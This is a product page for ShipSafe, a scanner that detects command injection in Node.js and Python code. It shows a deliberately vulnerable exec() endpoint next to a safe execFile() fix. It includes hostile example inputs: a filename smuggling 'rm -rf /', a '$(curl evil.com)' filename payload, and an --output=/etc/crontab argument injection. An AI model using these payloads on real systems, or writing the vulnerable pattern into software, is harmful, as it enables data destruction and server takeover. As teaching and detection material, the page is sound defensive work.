Command Injection Detection — ShipSafe
ShipSafe ships 89 command injection rules that cover Node.js child_process (exec, execSync, spawn with shell:true), Python subprocess and os.system, and indirect injection via filenames, environment variables, and argument flags. It distinguishes between shell-mode execution (dangerous) and argument-array execution (safe).
What is Command Injection?
Command injection occurs when an application passes untrusted user input to a system shell command. Attackers can execute arbitrary commands on the server, potentially taking full control of the system, reading sensitive files, or pivoting to other systems on the network.
Why It Matters
Command injection gives attackers direct operating system access with the privileges of your application process. They can read /etc/passwd, dump environment variables (which often contain database passwords and API keys), install backdoors, pivot to internal network services, or wipe the filesystem entirely. In containerized deployments, a command injection can be the first step toward container escape. This is a "game over" vulnerability — one successful exploit typically compromises the entire server.
What ShipSafe Detects
- ✓exec() and execSync() with user-controlled arguments — the most common pattern in Node.js
- ✓child_process.spawn() with shell: true and user input (spawn is safe by default, but shell: true re-enables the risk)
- ✓Template literals or string concatenation in shell commands passed to exec, execSync, or spawn
- ✓Argument injection through unsanitized flags (e.g., a user-supplied --output flag that includes shell metacharacters)
- ✓PATH manipulation via environment variable injection
- ✓Python os.system(), subprocess.call(), and subprocess.run() with shell=True
- ✓Indirect command injection through user-controlled file names (e.g., a file named '$(curl evil.com)'.pdf)
Example: Vulnerable Code
Vulnerable file conversion endpoint with command injection
// Vulnerable: user input in shell command
app.post("/convert", async (req, res) => {
const { filename } = req.body;
const { exec } = require("child_process");
exec(`ffmpeg -i uploads/${filename} output.mp4`, (err, stdout) => {
res.json({ status: "converted" });
});
});
// An attacker sends filename: "video.mp4; rm -rf /"
// The shell interprets the semicolon as a command separator
// and executes: ffmpeg -i uploads/video.mp4; rm -rf / output.mp4ShipSafe Catches It
$ shipsafe scan
CRITICAL command-injection/exec-with-user-input
src/routes/convert.ts:4
User input from req.body is interpolated into shell command via exec().
Fix: Use execFile() with an argument array instead of exec() with string interpolation.
execFile("ffmpeg", ["-i", `uploads/${filename}`, "output.mp4"])What to Do Instead
Safe alternative: execFile with argument array and input validation
// SAFE: execFile with argument array (no shell involved)
const { execFile } = require("child_process");
app.post("/convert", async (req, res) => {
const { filename } = req.body;
// Validate the filename — allow only alphanumeric, dash, underscore, dot
if (!/^[a-zA-Z0-9._-]+$/.test(filename)) {
return res.status(400).json({ error: "Invalid filename" });
}
// execFile does NOT use a shell — arguments are passed directly
// Shell metacharacters like ; | & ` $() have no effect
execFile(
"ffmpeg",
["-i", `uploads/${filename}`, "output.mp4"],
(err, stdout) => {
if (err) return res.status(500).json({ error: "Conversion failed" });
res.json({ status: "converted" });
}
);
});Frequently Asked Questions
What is the difference between exec and execFile?
exec() passes the command string to a shell (/bin/sh), which interprets metacharacters like ;, |, &, and $(). execFile() invokes the program directly with an argument array — no shell is involved, so metacharacters are treated as literal text. Always prefer execFile() when you need to run an external program with user-supplied arguments.
Is spawn safe from command injection?
By default, yes. spawn() passes arguments as an array without a shell. However, if you pass the option { shell: true }, spawn behaves like exec and becomes vulnerable. ShipSafe detects spawn calls with shell: true and user input.
Does ShipSafe detect command injection in Python?
Yes. ShipSafe detects os.system(), subprocess.call() with shell=True, subprocess.run() with shell=True, and subprocess.Popen() with shell=True when they contain user-controlled input.
What about argument injection?
ShipSafe detects argument injection where user input is used as command flags. For example, if a user can control a --output argument and passes --output=/etc/crontab, they could write to arbitrary files. ShipSafe flags unsanitized user input in argument positions.
Detect Command Injection in Your Code
Install ShipSafe and scan your project in under 60 seconds.
npm install -g @shipsafe/cli